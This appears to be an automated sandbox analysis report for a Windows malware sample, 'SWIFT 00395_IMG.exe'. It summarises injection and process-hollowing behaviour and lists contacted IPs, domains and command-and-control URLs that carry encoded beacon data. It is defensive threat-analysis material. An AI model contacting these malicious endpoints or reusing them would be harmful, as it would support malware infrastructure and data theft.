behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 403611 Sample: SWIFT 00395_IMG.exe Startdate: 04/05/2021 Architecture: WINDOWS Score: 100 31 www.boxj66.com 2->31 33 boxj66.com 2->33 41 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->41 43 Found malware configuration 2->43 45 Malicious sample detected (through community Yara rule) 2->45 47 4 other signatures 2->47 11 SWIFT 00395_IMG.exe 19 2->11         started        signatures3 process4 file5 29 C:\Users\user\AppData\Local\...\3bypcf8qb.dll, PE32 11->29 dropped 57 Writes to foreign memory regions 11->57 59 Maps a DLL or memory area into another process 11->59 15 svchost.exe 11->15         started        signatures6 process7 signatures8 61 Modifies the context of a thread in another process (thread injection) 15->61 63 Maps a DLL or memory area into another process 15->63 65 Sample uses process hollowing technique 15->65 67 2 other signatures 15->67 18 explorer.exe 15->18 injected process9 dnsIp10 35 www.puzed.net 180.150.102.39, 49756, 80 WIDEBAND-AS-APAussieBroadbandAU Australia 18->35 37 crickescore.com 103.20.212.182, 49761, 80 NETMAGIC-APNetmagicDatacenterMumbaiIN India 18->37 39 20 other IPs or domains 18->39 49 System process connects to network (likely due to code injection or exploit) 18->49 22 msdt.exe 18->22         started        signatures11 process12 signatures13 51 Modifies the context of a thread in another process (thread injection) 22->51 53 Maps a DLL or memory area into another process 22->53 55 Tries to detect virtualization through RDTSC time measurements 22->55 25 cmd.exe 1 22->25         started        process14 process15 27 conhost.exe 25->27         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
3.34.109.201
 www.seroungift.com United States
16509 AMAZON-02US true
45.192.92.174
 szzyhjj.com Seychelles
134548 DXTL-HKDXTLTseungKwanOServiceHK true
103.20.212.182
 crickescore.com India
17439 NETMAGIC-APNetmagicDatacenterMumbaiIN true
180.150.102.39
 www.puzed.net Australia
4764 WIDEBAND-AS-APAussieBroadbandAU true
80.237.133.185
 www.makeoverfurn.com Germany
35329 GD-EMEA-DC-CGN3DE true
34.102.136.180
 1800quilts.com United States
15169 GOOGLEUS false
85.233.160.23
 fwd3.hosts.co.uk United Kingdom
8622 ISIONUKNamescoLimitedGB true
184.168.131.241
 theboundless.life United States
26496 AS-26496-GO-DADDY-COM-LLCUS true
60.205.226.138
 dns.sxl.cn China
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false

Contacted Domains

Name IP Active
crickescore.com 103.20.212.182 true
dns.sxl.cn 60.205.226.138 true
www.seroungift.com 3.34.109.201 true
boxj66.com 212.95.146.158 true
theboundless.life 184.168.131.241 true
szzyhjj.com 45.192.92.174 true
1800quilts.com 34.102.136.180 true
fwd3.hosts.co.uk 85.233.160.23 true
northernbackflow.com 34.102.136.180 true
carboncuriosity.com 34.102.136.180 true
www.puzed.net 180.150.102.39 true
www.makeoverfurn.com 80.237.133.185 true
www.northernbackflow.com unknown unknown
www.centerplans.com unknown unknown
www.boxj66.com unknown unknown
www.crickescore.com unknown unknown
www.theboundless.life unknown unknown
www.thebestcoffeeshops.com unknown unknown
www.1800quilts.com unknown unknown
www.xiangyuwenhua.com unknown unknown
www.carboncuriosity.com unknown unknown
www.szzyhjj.com unknown unknown
www.amwajcare.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
www.seroungift.com/bbqo/ true
  • Avira URL Cloud: safe
 low
http://www.1800quilts.com/bbqo/?XB64XbO8=/Pkgzq8QL5NAcxZCkuSTp6cwj4lDt7P1w6jr1cEe5khMYSySzdqjBreEbEJxEDRHbmyL&Rb=M42dVLz8 false
  • Avira URL Cloud: safe
 unknown
http://www.seroungift.com/bbqo/?XB64XbO8=GhdvojHCfMDRUam/4qOkhbREqNoCRj0dcDXGN06f9NKfhUBJ97Or2+k+J6GDFZvtQIxr&Rb=M42dVLz8 true
  • Avira URL Cloud: safe
 unknown
http://www.xiangyuwenhua.com/bbqo/?Rb=M42dVLz8&XB64XbO8=OyJvVzFrogId2JmOPk1mxNUaVNmw8U6tV5/SqSy/NPm0fO+yJiD5oYjbB5t0rhfZdAPi true
  • Avira URL Cloud: safe
 unknown
http://www.thebestcoffeeshops.com/bbqo/?Rb=M42dVLz8&XB64XbO8=DAKSku2UP9w0lKXY+LhytUUwyem6IfHDB7QSSdTpSALkSldV/1o9CxHuilJYCYQ/V6tP true
  • Avira URL Cloud: safe
 unknown
http://www.crickescore.com/bbqo/?XB64XbO8=+83Ad9ys8+FMkuQHLQbEUx121DE/6nLvKA5vTUyMQ3D5zQ4YR59KLRowGPLGetqdy+rw&Rb=M42dVLz8 true
  • Avira URL Cloud: safe
 unknown
http://www.makeoverfurn.com/bbqo/?XB64XbO8=gW47Pg8Fo6iIv2ud/64/p2+3hov1DZqi/pO7CWKW8hPHr2u5wHbVWSaPXrsCIEHv8cct&Rb=M42dVLz8 true
  • Avira URL Cloud: safe
 unknown
http://www.theboundless.life/bbqo/?Rb=M42dVLz8&XB64XbO8=5cE52+XUn5YOw4VrTBFj5Yjg6Bdl2wnKeIdlDky+FVUstW8yNKK8e4wg1M4nQ/djAnNx true
  • Avira URL Cloud: safe
 unknown
http://www.carboncuriosity.com/bbqo/?Rb=M42dVLz8&XB64XbO8=YYVXHHveBgSLNZYesnT1AghiVl/Xx3BIBb/tObWwW6qpUDZVV8sOQ19Z9K/TOFaASXJK false
  • Avira URL Cloud: safe
 unknown
http://www.szzyhjj.com/bbqo/?XB64XbO8=trcmmZYAhW1z3xFVKWe7fHl88qCucLFuCi4mCu0pcnYYHjBJZxUhua0G6TwplXUzf90o&Rb=M42dVLz8 true
  • Avira URL Cloud: safe
 unknown
http://www.puzed.net/bbqo/?Rb=M42dVLz8&XB64XbO8=XLcvqqeS1lhWgJP77JDDmgANyyJOPhQvBMhs62kpQnu2foMme1WiKofFk1rRWdP6dmuL true
  • Avira URL Cloud: safe
 unknown